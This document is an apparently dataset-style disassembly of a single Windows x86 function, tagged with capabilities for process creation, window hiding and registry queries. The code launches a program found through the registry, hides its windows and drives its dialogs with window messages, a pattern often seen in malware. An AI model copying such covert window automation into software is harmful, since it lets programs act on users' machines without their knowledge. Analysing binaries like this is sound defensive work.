Function at 0x408520
Capabilities:
Create process on windows
Hide graphical window
Query or enumerate registry value

Disassembly:
sub esp, 0x23c
push ebx
push ebp
push esi
push edi
mov ecx, 8
mov esi, 0x40e11c
lea edi, [esp + 0x148]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov ecx, 8
lea edi, [esp + 0x169]
rep stosd dword es:[edi], eax
mov ecx, 9
mov esi, 0x40e0f4
lea edi, [esp + 0x189]
xor ebx, ebx
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov ecx, 6
lea edi, [esp + 0x1af]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 9
mov esi, 0x40e0d0
lea edi, [esp + 0x1ca]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
mov ecx, 7
lea edi, [esp + 0x1ee]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov ecx, 0xa
mov esi, 0x40e0a4
lea edi, [esp + 0x20b]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov ecx, 6
lea edi, [esp + 0x234]
rep stosd dword es:[edi], eax
mov al, byte [0x40e3b8]
mov ecx, 0x3f
mov byte [esp + 0x48], al
xor eax, eax
lea edi, [esp + 0x49]
push ebx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push ebx
mov dword [esp + 0x18], ebx
stosb byte es:[edi], al
call fcn.004080b0
add esp, 8
test eax, eax
je 0x408611
push ebx
push 0xffffffffffffffff
push ebx
push 0x40e098
call fcn.00404e80
add esp, 0x10
test eax, eax
je 0x408606
mov dword [esp + 0x10], 1
push 0x5dc
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x40e08c
push 0x40e030
call dword [sym.imp.USER32.dll_FindWindowA]
mov esi, eax
cmp esi, ebx
jne 0x408718
lea ebp, [esp + 0x148]
lea ecx, [esp + 0x48]
push ecx
call fcn.00405000
add esp, 4
test eax, eax
jne 0x4086db
lea edx, [esp + 0x1c]
push edx
push 0xf003f
push eax
push ebp
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4086ce
lea eax, [esp + 0x20]
lea ecx, [esp + 0x48]
push eax
mov eax, dword [esp + 0x20]
lea edx, [esp + 0x28]
push ecx
push edx
push 0
push 0x40e080
push eax
mov dword [esp + 0x38], 0xff
mov dword [esp + 0x3c], 1
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x4086c3
mov edi, 0x40e070
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x48]
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [esp + 0x1c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
inc ebx
add ebp, 0x41
cmp ebx, 4
jl 0x408632
lea ecx, [esp + 0x48]
push ecx
call fcn.00405000
add esp, 4
test eax, eax
je 0x408704
lea edx, [esp + 0x48]
push 5
push edx
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x40e08c
push 0x40e030
call dword [sym.imp.USER32.dll_FindWindowA]
mov esi, eax
jmp 0x408720
mov dword [esp + 0x10], 1
test esi, esi
je 0x408b21
push 1
call fcn.00409e20
add esp, 4
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov edi, eax
test edi, edi
mov dword [esp + 0x14], edi
je 0x408755
push 3
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
push edi
call dword [sym.imp.USER32.dll_SetWindowPos]
push 0
push 0x8006
push 0x111
push esi
call dword [sym.imp.USER32.dll_PostMessageA]
xor esi, esi
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x14
call ebx
push 0
push 0
call fcn.004080b0
mov ebp, eax
add esp, 8
test ebp, ebp
jne 0x408791
inc esi
cmp esi, 0x1e
jl 0x40876a
jmp 0x408ae5
mov esi, dword [esp + 0x258]
test esi, esi
jne 0x4087a6
push esi
push ebp
call dword [sym.imp.USER32.dll_ShowWindow]
jmp 0x4087ad
push 0x7d0
call ebx
push ebp
push 0
push 0x40e06c
call fcn.00407fe0
add esp, 0xc
test eax, eax
je 0x4087d0
push 0
push 0
push 1
push eax
call fcn.00407f40
add esp, 0x10
test esi, esi
je 0x4087db
push 0x7d0
call ebx
push ebp
push 0
push 0x40e068
call fcn.00407fe0
add esp, 0xc
test eax, eax
je 0x4087fe
push 1
push 0
push 0
push eax
call fcn.00407f40
add esp, 0x10
test esi, esi
je 0x408809
push 0x7d0
call ebx
xor edi, edi
jmp 0x408813
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x14
call ebx
push 0
push ebp
call fcn.004080b0
mov ebx, eax
add esp, 8
test ebx, ebx
jne 0x40882e
inc edi
cmp edi, 0x1e
jl 0x40880d
push ebx
push 0
push 0x40e064
call fcn.00407fe0
mov edi, eax
add esp, 0xc
test edi, edi
je 0x408896
mov eax, dword [esp + 0x258]
mov esi, ebx
test eax, eax
jne 0x40885c
push 0
push ebx
call dword [sym.imp.USER32.dll_ShowWindow]
jmp 0x408867
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 0
push edi
call fcn.00407f40
add esp, 0x10
xor edi, edi
push 0x14
call dword [sym.imp.KERNEL32.dll_Sleep]
push esi
push ebp
call fcn.004080b0
mov ebx, eax
add esp, 8
test ebx, ebx
jne 0x408896
inc edi
cmp edi, 0x1e
jl 0x408878
push 0
push 0x40e05c
push 0
push ebx
call dword [sym.imp.USER32.dll_FindWindowExA]
mov esi, eax
test esi, esi
je 0x408ae1
mov eax, dword [esp + 0x258]
test eax, eax
jne 0x4088cc
push 0
push ebx
call dword [sym.imp.USER32.dll_ShowWindow]
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x4088d9
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x7d0
call edi
lea eax, [esp + 0x28]
push eax
push ebx
call fcn.004083d0
add esp, 8
test eax, eax
je 0x408ae1
lea ecx, [esp + 0x28]
push ecx
push 0
push 0xc
push esi
call dword [sym.imp.USER32.dll_SendMessageA]
test eax, eax
je 0x408ae1
mov edx, dword [esp + 0x250]
test edx, edx
je 0x408939
lea edi, [esp + 0x28]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push ebx
push 0
push 0x40e058
call fcn.00407fe0
add esp, 0xc
test eax, eax
je 0x408ae1
push 0
push 0
push 0
push eax
call fcn.00407f40
add esp, 0x10
mov dword [esp + 0x18], 0
push ebp
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x408ae1
cmp dword [esp + 0x18], 0x1f4
jge 0x408ae1
push 0x14
call edi
push ebx
push ebp
call fcn.004080b0
mov esi, eax
add esp, 8
test esi, esi
je 0x408a01
mov eax, dword [esp + 0x258]
test eax, eax
jne 0x4089af
push 0
push esi
call dword [sym.imp.USER32.dll_ShowWindow]
jmp 0x4089b6
push 0x7d0
call edi
mov eax, dword [esp + 0x254]
push esi
cmp eax, 1
push 0
jne 0x4089d8
push 0x40e064
call fcn.00407fe0
add esp, 0xc
test eax, eax
jne 0x408a28
jmp 0x4089e9
push 0x40e054
call fcn.00407fe0
add esp, 0xc
test eax, eax
jne 0x408a1e
push esi
push 0
push 0x40e058
call fcn.00407fe0
add esp, 0xc
test eax, eax
jne 0x408a8f
mov esi, dword [esp + 0x18]
push ebp
inc esi
mov dword [esp + 0x1c], esi
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
jne 0x408977
jmp 0x408ae1
cmp dword [esp + 0x254], 2
je 0x408a37
push 0
push 0
push 0
push eax
call fcn.00407f40
add esp, 0x10
push 0
call fcn.00409e20
mov eax, dword [esp + 0x18]
add esp, 4
test eax, eax
je 0x408a5c
push 3
push 0
push 0
push 0
push 0
push 0xfffffffffffffffe
push eax
call dword [sym.imp.USER32.dll_SetWindowPos]
mov eax, dword [esp + 0x10]
test eax, eax
jne 0x408a7f
mov al, byte [esp + 0x48]
test al, al
je 0x408a7f
push 0
push 0xffffffffffffffff
lea ecx, [esp + 0x50]
push 0
push ecx
call fcn.00404e80
add esp, 0x10
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x23c
ret
push 0
push 0
push 0
push eax
call fcn.00407f40
push ebx
push 0
push 0x40e04c
call fcn.00407fe0
add esp, 0x1c
test eax, eax
je 0x408abe
push 0
push 0
push 0
push eax
call fcn.00407f40
add esp, 0x10
push ebp
push 0
push 0x40e048
call fcn.00407fe0
add esp, 0xc
test eax, eax
je 0x408ae1
push 0
push 0
push 0
push eax
call fcn.00407f40
add esp, 0x10
mov edi, dword [esp + 0x14]
test edi, edi
je 0x408afc
push 3
push 0
push 0
push 0
push 0
push 0xfffffffffffffffe
push edi
call dword [sym.imp.USER32.dll_SetWindowPos]
mov eax, dword [esp + 0x10]
test eax, eax
jne 0x408b17
push 0
push 0xffffffffffffffff
lea edx, [esp + 0x50]
push 0
push edx
call fcn.00404e80
add esp, 0x10
push 0
call fcn.00409e20
add esp, 4
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x23c
ret